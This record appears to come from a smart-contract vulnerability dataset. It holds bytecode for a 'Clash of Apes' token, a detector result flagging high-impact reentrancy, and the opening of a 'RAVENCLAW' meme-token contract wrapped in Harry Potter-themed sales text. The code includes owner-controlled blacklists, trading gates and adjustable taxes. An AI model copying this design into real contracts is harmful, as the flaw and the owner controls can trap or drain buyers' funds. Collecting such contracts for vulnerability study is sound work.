000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a2f565b91505061079a565b5050565b60606040518060400160405280600d81526020017f436c617368206f66204170657300000000000000000000000000000000000000815250905090565b60006108a361089c61168d565b8484611695565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108f1848484611860565b6109b2846108fd61168d565b6109ad85604051806060016040528060288152602001613f3c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096361168d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122349092919063ffffffff16565b611695565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109fa61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90613655565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610aea61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6e90613655565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd461168d565b73ffffffffffffffffffffffffffffffffffffffff161480610c4a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3261168d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5357600080fd5b6000479050610c6181612298565b50565b6000610cae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612393565b9050919050565b610cbd61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190613655565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e1061168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490613655565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ede61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6290613655565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600381526020017f434f410000000000000000000000000000000000000000000000000000000000815250905090565b610fda61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e90613655565b60405180910390fd5b8060198190555050565b61107961168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fd90613655565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113c61113561168d565b8484611860565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a761168d565b73ffffffffffffffffffffffffffffffffffffffff16148061121d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120561168d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122657600080fd5b600061123130610c64565b905061123c81612401565b50565b61124761168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90613655565b60405180910390fd5b60005b83839050811015611399578160056000868685818110611320577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113359190612f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139190613a2f565b9150506112d7565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143461168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890613655565b60405180910390fd5b8060188190555050565b6114d361168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790613655565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c7906135b5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc906136d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176c906135d5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185391906136f5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c790613695565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193790613535565b60405180910390fd5b60008111611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90613675565b60405180910390fd5b61198b610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f957506119c9610ead565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3357601660149054906101000a900460ff16611a8857611a1a610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e90613555565b60405180910390fd5b5b601754811115611acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac490613595565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b715750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba7906135f5565b60405180910390fd5b6008544311158015611c0f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c695750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cff576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dac5760185481611d6184610c64565b611d6b919061382b565b10611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da2906136b5565b60405180910390fd5b5b6000611db730610c64565b9050600060195482101590506017548210611dd25760175491505b808015611dec5750601660159054906101000a900460ff16155b8015611e465750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5c575060168054906101000a900460ff165b8015611eb25750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f085750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3057611f1682612401565b60004790506000811115611f2e57611f2d47612298565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fda5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209b5760009050612222565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121465750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222157600b54600d81905550600c54600e819055505b5b61222e848484846126fb565b50505050565b600083831115829061227c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122739190613513565b60405180910390fd5b506000838561228b919061390c565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e860028461272890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612313573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236460028461272890919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238f573d6000803e3d6000fd5b5050565b60006006548211156123da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d190613575565b60405180910390fd5b60006123e4612772565b90506123f9818461272890919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248d5781602001602082028036833780820191505090505b50905030816000815181106124cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256d57600080fd5b505afa158015612581573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a59190612f82565b816001815181106125df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611695565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126aa959493929190613710565b600060405180830381600087803b1580156126c457600080fd5b505af11580156126d8573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127095761270861279d565b5b6127148484846127e0565b80612722576127216129ab565b5b50505050565b600061276a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129bf565b905092915050565b600080600061277f612a22565b91509150612796818361272890919063ffffffff16565b9250505090565b6000600d541480156127b157506000600e54145b156127bb576127de565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f287612a84565b95509550955095509550955061285086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aec90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293181612b94565b61293b8483612c51565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299891906136f5565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fd9190613513565b60405180910390fd5b5060008385612a159190613881565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612a58683635c9adc5dea0000060065461272890919063ffffffff16565b821015612a7757600654683635c9adc5dea00000935093505050612a80565b81819350935050505b9091565b6000806000806000806000806000612aa18a600d54600e54612c8b565b9250925092506000612ab1612772565b90506000806000612ac48e878787612d21565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612234565b905092915050565b6000808284612b45919061382b565b905083811015612b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8190613615565b60405180910390fd5b8091505092915050565b6000612b9e612772565b90506000612bb58284612daa90919063ffffffff16565b9050612c0981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6682600654612aec90919063ffffffff16565b600681905550612c8181600754612b3690919063ffffffff16565b6007819055505050565b600080600080612cb76064612ca9888a612daa90919063ffffffff16565b61272890919063ffffffff16565b90506000612ce16064612cd3888b612daa90919063ffffffff16565b61272890919063ffffffff16565b90506000612d0a82612cfc858c612aec90919063ffffffff16565b612aec90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d3a8589612daa90919063ffffffff16565b90506000612d518689612daa90919063ffffffff16565b90506000612d688789612daa90919063ffffffff16565b90506000612d9182612d838587612aec90919063ffffffff16565b612aec90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612dbd5760009050612e1f565b60008284612dcb91906138b2565b9050828482612dda9190613881565b14612e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1190613635565b60405180910390fd5b809150505b92915050565b6000612e38612e33846137aa565b613785565b90508083825260208201905082856020860282011115612e5757600080fd5b60005b85811015612e875781612e6d8882612e91565b845260208401935060208301925050600181019050612e5a565b5050509392505050565b600081359050612ea081613ef6565b92915050565b600081519050612eb581613ef6565b92915050565b60008083601f840112612ecd57600080fd5b8235905067ffffffffffffffff811115612ee657600080fd5b602083019150836020820283011115612efe57600080fd5b9250929050565b600082601f830112612f1657600080fd5b8135612f26848260208601612e25565b91505092915050565b600081359050612f3e81613f0d565b92915050565b600081359050612f5381613f24565b92915050565b600060208284031215612f6b57600080fd5b6000612f7984828501612e91565b91505092915050565b600060208284031215612f9457600080fd5b6000612fa284828501612ea6565b91505092915050565b60008060408385031215612fbe57600080fd5b6000612fcc85828601612e91565b9250506020612fdd85828601612e91565b9150509250929050565b600080600060608486031215612ffc57600080fd5b600061300a86828701612e91565b935050602061301b86828701612e91565b925050604061302c86828701612f44565b9150509250925092565b6000806040838503121561304957600080fd5b600061305785828601612e91565b925050602061306885828601612f44565b9150509250929050565b60008060006040848603121561308757600080fd5b600084013567ffffffffffffffff8111156130a157600080fd5b6130ad86828701612ebb565b935093505060206130c086828701612f2f565b9150509250925092565b6000602082840312156130dc57600080fd5b600082013567ffffffffffffffff8111156130f657600080fd5b61310284828501612f05565b91505092915050565b60006020828403121561311d57600080fd5b600061312b84828501612f2f565b91505092915050565b60006020828403121561314657600080fd5b600061315484828501612f44565b91505092915050565b6000806000806080858703121561317357600080fd5b600061318187828801612f44565b945050602061319287828801612f44565b93505060406131a387828801612f44565b92505060606131b487828801612f44565b91505092959194509250565b60006131cc83836131d8565b60208301905092915050565b6131e181613940565b82525050565b6131f081613940565b82525050565b6000613201826137e6565b61320b8185613809565b9350613216836137d6565b8060005b8381101561324757815161322e88826131c0565b9750613239836137fc565b92505060018101905061321a565b5085935050505092915050565b61325d81613952565b82525050565b61326c81613995565b82525050565b61327b816139b9565b82525050565b600061328c826137f1565b613296818561381a565b93506132a68185602086016139cb565b6132af81613b05565b840191505092915050565b60006132c760238361381a565b91506132d282613b16565b604082019050919050565b60006132ea603f8361381a565b91506132f582613b65565b604082019050919050565b600061330d602a8361381a565b915061331882613bb4565b604082019050919050565b6000613330601c8361381a565b915061333b82613c03565b602082019050919050565b600061335360268361381a565b915061335e82613c2c565b604082019050919050565b600061337660228361381a565b915061338182613c7b565b604082019050919050565b600061339960238361381a565b91506133a482613cca565b604082019050919050565b60006133bc601b8361381a565b91506133c782613d19565b602082019050919050565b60006133df60218361381a565b91506133ea82613d42565b604082019050919050565b600061340260208361381a565b915061340d82613d91565b602082019050919050565b600061342560298361381a565b915061343082613dba565b604082019050919050565b600061344860258361381a565b915061345382613e09565b604082019050919050565b600061346b60238361381a565b915061347682613e58565b604082019050919050565b600061348e60248361381a565b915061349982613ea7565b604082019050919050565b6134ad8161397e565b82525050565b6134bc81613988565b82525050565b60006020820190506134d760008301846131e7565b92915050565b60006020820190506134f26000830184613254565b92915050565b600060208201905061350d6000830184613263565b92915050565b6000602082019050818103600083015261352d8184613281565b905092915050565b6000602082019050818103600083015261354e816132ba565b9050919050565b6000602082019050818103600083015261356e816132dd565b9050919050565b6000602082019050818103600083015261358e81613300565b9050919050565b600060208201905081810360008301526135ae81613323565b9050919050565b600060208201905081810360008301526135ce81613346565b9050919050565b600060208201905081810360008301526135ee81613369565b9050919050565b6000602082019050818103600083015261360e8161338c565b9050919050565b6000602082019050818103600083015261362e816133af565b9050919050565b6000602082019050818103600083015261364e816133d2565b9050919050565b6000602082019050818103600083015261366e816133f5565b9050919050565b6000602082019050818103600083015261368e81613418565b9050919050565b600060208201905081810360008301526136ae8161343b565b9050919050565b600060208201905081810360008301526136ce8161345e565b9050919050565b600060208201905081810360008301526136ee81613481565b9050919050565b600060208201905061370a60008301846134a4565b92915050565b600060a08201905061372560008301886134a4565b6137326020830187613272565b818103604083015261374481866131f6565b905061375360608301856131e7565b61376060808301846134a4565b9695505050505050565b600060208201905061377f60008301846134b3565b92915050565b600061378f6137a0565b905061379b82826139fe565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c5576137c4613ad6565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138368261397e565b91506138418361397e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387657613875613a78565b5b828201905092915050565b600061388c8261397e565b91506138978361397e565b9250826138a7576138a6613aa7565b5b828204905092915050565b60006138bd8261397e565b91506138c88361397e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390157613900613a78565b5b828202905092915050565b60006139178261397e565b91506139228361397e565b92508282101561393557613934613a78565b5b828203905092915050565b600061394b8261395e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139a0826139a7565b9050919050565b60006139b28261395e565b9050919050565b60006139c48261397e565b9050919050565b60005b838110156139e95780820151818401526020810190506139ce565b838111156139f8576000848401525b50505050565b613a0782613b05565b810181811067ffffffffffffffff82111715613a2657613a25613ad6565b5b80604052505050565b6000613a3a8261397e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6d57613a6c613a78565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eff81613940565b8114613f0a57600080fd5b50565b613f1681613952565b8114613f2157600080fd5b50565b613f2d8161397e565b8114613f3857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a443c867b08b294fb03b0ae8593eab7f1327111526e4975010fd3b5d1b1a40b664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
98
0xf6ee143e32cd7cd2661ba4d62fc68967f3863673
/* https://t.me/ravenclawinuportal "Wit beyond measure is man's greatest treasure." — Rowena Ravenclaw As far as we are concerned, the admission to Hogwarts is selective. However Hogwarts is now providing us the second opportunity for you to become an official wizard in the cryptoword. Embrace yourself, here comes the sorting hat! There's nothing hidden in your head The Sorting Hat can't see, So try me on and I will tell you Where you ought to be. Or yet in wise old Ravenclaw, if you've a ready mind, Where those of wit and learning, Will always find their kind; Members of the Ravenclaw were characterised by their wit, learning, and wisdom. This is the house designed for wizards and witches that possess extraordinary wisdom. Ravenclaw corresponded roughly to the element of air, and it was for that reason that the House colors were chosen; blue and bronze represented the sky and eagle feathers respectively. Welcome RAVENCLAW ! To be officially part of us you will need to purchase the community token as part of the admission fee. You will be able to redeem your own wands and your enchanting pets ! */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract RAVENCLAW is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "RAVENCLAW"; string private constant _symbol = "RAVENCLAW"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHoldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xE5A7bC5bBCa4BC2511a5808e8eAc9Ec1E8656601); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { 